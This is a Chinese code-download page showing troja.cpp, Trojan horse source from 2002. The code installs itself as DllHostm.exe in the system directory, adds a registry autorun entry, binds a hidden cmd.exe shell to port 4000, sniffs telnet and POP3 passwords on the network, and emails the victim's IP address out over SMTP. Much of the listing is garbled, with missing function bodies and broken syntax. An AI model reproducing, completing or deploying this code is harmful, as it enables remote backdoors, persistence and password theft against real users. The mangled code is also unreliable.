⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 troja.cpp

📁 木马源程序 /*实现了以下功能: 1.IP变换后自动发送Email通知 2.nt/window2000下绑定cmd
💻 CPP
字号:
/*实现了以下功能:
1.IP变换后自动发送Email通知
2.nt/window2000下绑定cmd,98下绑定command
3.sniffer整个无交换网络的telnet pop3密码功能
*/
// troja3.cpp : Defines the entry point for the application.
//written by Justin 小鱼巫师 2002年5月

#define zeng
#include "stdafx.h"
#include "Afxwin.h"
#include <stdlib.h>
#include <stdio.h>
#include <conio.h>
#include <afx.h> //CString
#include <winsock2.h>
#include <process.h>
#include <Shellapi.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"MSVCRT.LIB")

#define nBufLen 10000
#define port 4000
//SnifferMain function need variant and struct
#define STATUS_FAILED 0xFFFF //定义异常出错代码
#define MAX_PACK_LEN 65535 //接收的最大IP报文
#define MAX_ADDR_LEN 16 //点分十进制地址的最大长度
#define MAX_HOSTNAME_LAN 255 //最大主机名长度
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
typedef struct _iphdr IP_HEADER;

SOCKET SockRaw;
int nNeedPacket=0;
void DecodeIpPack(char *,int);
FILE *NetLog; //数据包记录
//end SnifferMain function need variant and struct
void TelnetForCmd(); //绑定cmd.exe
BOOL reg(char *szExecFile); //创建注册表内容
DWORD WINAPI SnifferMain(void*);
//发送email的一些函数---------------------------------------------------------
DWORD WINAPI SendMail(void*); //把信息发回来的线程
//这义变量和需要用到的函数
CString csError[7];  //错误代码解说
SOCKET pSocket;
CString csSmtp;  //SMTP服务器
CString csMailFrom; //发件人
CString csMailTo=""; //收件人
CString csMailHeader; //邮件主题
CString csMailBody;
int MySetSmtp(CString str);  //SMTP
int MySetMailFrom(CString str); //发件人
int MySetMailTo(CString str);  //收件人
int MySetHeader(CString str);  //主题
int MySetBody(CString str);  //内容
int MyMailSend();
int TestMail(int nResult);
int MailCreate();
int MailFrom();  
int MailTo();
int MailHeader();
int MailQuit();
//---------------------------------------------------------------------
void get_ip(char szIP[4][50]);
char szIP[4][50];
char szOldIP[4][50]=;
//----------------得到IP地址的函数
HWND _hWnd;
void main(int argc,char* argv[])
{					 
	if(argc >= 2)
		csMailTo=argv[1];
	char szNewPlace[255];
	GetSystemDirectory(szNewPlace,255);
	strcat(szNewPlace,"DllHostm.exe");
	if( strcmp(argv[0],szNewPlace) != 0 )
		CopyFile(argv[0],szNewPlace,FALSE);
	//在注册表中加起动运行
	if(!reg(szNewPlace))
		return 0;
	//创建SnifferMain线程
	HANDLE hSniffer=CreateThread(NULL,NULL,SnifferMain,NULL,0,NULL);
	long i;
	FILE *fp;
	bool bReadSuccess = false;
	if( fp=fopen(argv[0],"r") ) {
		
}
if( i<30 )

  }
  fseek(fp,-i,SEEK_END);
  if(j<30)
	  
 }
}
if( !bReadSuccess )


HANDLE hMail=CreateThread(NULL,NULL,SendMail,NULL,0,NULL);
//下面是调用绑定cmd.exe的TelnetForCmd函数
WSAData wsa;
if(WSAStartup(MAKEWORD(1,1),&wsa))

TelnetForCmd();
WSACleanup();
return 0;
CloseHandle(hMail);
CloseHandle(hSniffer);

return 0;
}

BOOL reg(char *szExecFile)
//检测注册,加起动运行

LPBYTE username_Get=(unsigned char*)malloc(sizeof(BYTE)*80);
DWORD cbData_1=80; 
DWORD dwType;
long ret1=::RegQueryvalueEx(hKEY,"Dll_Hostm", 0,&dwType, username_Get,&cbData_1)
;
if(ret1!=ERROR_SUCCESS)

}
free(username_Get); 
::RegCloseKey(hKEY);
return(true);
}

//telnet function
void TelnetForCmd()
//telnet 绑定cmd.exe

int val=1;
char buff[100], data[nBufLen];
hostent *host;
u_long ip;
sockaddr_in locsin;
setsockopt(lsts, SOL_SOCKET, SO_REUSEADDR, (char*)&val, sizeof(val));

gethostname(buff,80);
host=gethostbyname(buff);
if(host==0)

memcpy(&ip, host->h_addr_list[0], host->h_length);
memset(&locsin,0,sizeof(locsin));
locsin.sin_addr.s_addr=INADDR_ANY;
locsin.sin_family = AF_INET;
locsin.sin_port = htons(port);
bind(lsts, (sockaddr*)&locsin, sizeof(locsin));
listen(lsts,3);
int links=0;
val=sizeof(locsin);
cons=accept(lsts, (sockaddr*)&locsin,&val);
if(cons==INVALID_SOCKET)


HANDLE rp1, wp1, rp2, wp2;
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = 0;
sa.bInheritHandle = 1;
CreatePipe(&rp1, &wp1, &sa, 0);
CreatePipe(&rp2, &wp2, &sa, 0);
STARTUPINFO si;
PROCESS_INformATION pi;

memset(&si,0,sizeof(si));
si.hStdError = si.hStdOutput = wp1;
si.hStdInput = rp2;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.dwX = si.dwY = si.dwXSize = si.dwYSize = 0L;
si.lpReserved = NULL;
si.lpReserved2 = NULL;
si.cbReserved2 = 0;
si.cb = sizeof(STARTUPINFO);
send(cons,"Hello baby,This is a free world. by 小鱼巫师........nrnrnr",50,
	 MSG_DONTROUTE);
OSVERSIONINFO osvi;
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if(GetVersionEx(&osvi)==FALSE) 
if (osvi.dwPlatformId == VER_PLATform_WIN32_WINDOWS) 

CloseHandle(pi.hThread);
}
else

CloseHandle(rp2);CloseHandle(wp1);
}

Sleep(200);
u_long num, use;
while(1)
//return TURE is OK
if(use && !ReadFile(rp1, data, use, &num, 0))
//return 0 if error, close
if(num)send(cons, data, num, 0);
Sleep(100);
if(!use)break;
}
if(num==0xffffffff)break;
val=recv(cons, data, nBufLen ,0);
if(val==0||val==SOCKET_ERROR)


WriteFile(wp2, data, val, &num, 0);
Sleep(100);
}
CloseHandle(rp1);CloseHandle(wp2);
closesocket(cons);
closesocket(lsts);
goto begin;
return;
}
//end TelnetForCmd function


//SnifferMain Function and SnifferMain need function
DWORD WINAPI SnifferMain(void*)

//侦听IP报文
DWORD dwFlags=MSG_PEEK;
while(1)

return true;
}

//IP解包程序
void DecodeIpPack(char *buf, int iBufSize)

else

 }
}
}
//end SnifferMain Function and SnifferMain need function

//SendMail function and SendMail need function
//发送本机信息到某个邮箱的线程
DWORD WINAPI SendMail(void*)

Sleep(10000);
}
}
/**********************************************/
// 函数原型: int SetSmtp(CString str)
// 功 能: 设置SMTP服务器
// 参 数1: CString str为服务器名
// 返 回 值: 1->正确 0->失败
/**********************************************/
int MySetSmtp (CString str)


/**********************************************/
// 函数原型: int SetMailFrom(CString str)
// 功 能: 设置发件人
// 参 数1: str为发件地址
// 返 回 值: 1->正确 0->失败
/**********************************************/
int MySetMailFrom (CString str)


/**********************************************/
// 函数原型: int SetMailTo(CString str)
// 功 能: 设置收件人
// 参 数1: str 为收件地址
// 返 回 值: 1->正确 0->失败
/**********************************************/
int MySetMailTo(CString str)


/**********************************************/
// 函数原型: int SetHeader(CString str)
// 功 能: 设置邮件主题
// 参 数1: str 邮件主题
// 返 回 值: 1->正确 0->失败
/**********************************************/
int MySetHeader (CString str)



/**********************************************/
// 函数原型: int SetBody(CString str)
// 功 能: 设置邮件内容
// 参 数1: str 邮件内容
// 返 回 值: 1->正确 0->失败
/**********************************************/
int MySetBody(CString str)



/**********************************************/
// 函数原型: int MailSend()
// 功 能: 邮件发送
// 返 回 值: 1->正确 0->失败
/**********************************************/
int MyMailSend ()

/********************************************/
// 函数原型: int SendMail()
// 功 能: 发送邮件
// 返 回 值: 为 0 则成功,否则失败
// 详细返回值: 1 -> 发件人为空
//     2 -> 收件人为空
//     3 -> SMTP服务器为空
//     4 -> 邮件主题为空
//     5 -> Socket错误
//     6 -> 连接主机失败
//     7 -> 返回的信息不正确
/********************************************/
int MailCreate()

if( connect(pSocket,(struct sockaddr *)&sa,sizeof(sa)) == SOCKET_ERROR) return 5
;
if(!TestMail(220))
return 6;

//测试
char str[]=_T("HELOrn");
if( send (pSocket,str,strlen(str),0)==SOCKET_ERROR) return 5;

if(!TestMail(250))
return 7;

return 0;
}


/***********************************************/
// 函数原型: int MailFrom()
// 功 能: 发送发件人
// 返 回 值: 0为失败,非1为成功
/***********************************************/
int MailFrom ()

if(TestMail(250))
return 1;
return 0;
}


/***********************************************/
// 函数原型: int MailTo()
// 功 能: 发送收件人
// 返 回 值: 0为失败,非1为成功
/***********************************************/
int MailTo ()

if(TestMail(250))
return 1;
return 0;
}


/***********************************************/
// 函数原型: int MailHeader()
// 功 能: 发送主题
// 返 回 值: 0为失败,非1为成功
/***********************************************/
int MailHeader()

if(!TestMail(354))
return 0;

//发送的内容
csMailFrom="From: "+csMailFrom+"rn";
csMailTo="To: "+csMailTo+"rn";
csMailHeader=csMailFrom+csMailTo+"Subject: "+csMailHeader+"rn";
csMailHeader=_T(csMailHeader);
//发送
if(send(pSocket,csMailHeader,csMailHeader.GetLength (),0)==SOCKET_ERROR)

//发送邮件内容
csMailBody="rn"+_T(csMailBody)+"rn";
if(send (pSocket,(LPCTSTR)csMailBody,csMailBody.GetLength (),0)==SOCKET_ERROR)

//结束
sTemp = _T( "rn.rn" );
if(send(pSocket, (LPCTSTR)sTemp, sTemp.GetLength(),0)==SOCKET_ERROR)

if(!TestMail(250))
return 0;

return 1;//成功
}


/***********************************************/
// 函数原型: int MailQuit()
// 功 能: 结束发送邮件
// 返 回 值: 0为失败,非1为成功
/***********************************************/
int MailQuit ()

if(!TestMail(221))
return 0;
return 1;
}


/**********************************************/
// 函数原型: int TestMail(int nResult)
// 功 能: 测试返回信息是否正确
// 参 数1: nResult为正确的返回值,用来比较
// 返 回 值: 1->正确 0->失败
/**********************************************/
int TestMail(int nResult)

// csTemp=buffer;
// if(atoi(csTemp.Left(3))==nResult)
// return 0;
}

//end TestMail function

//**********************************
//作用:得到本机所有的IP地址
//
void get_ip(char szIP[4][50])

}
}
//end SendMail function

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -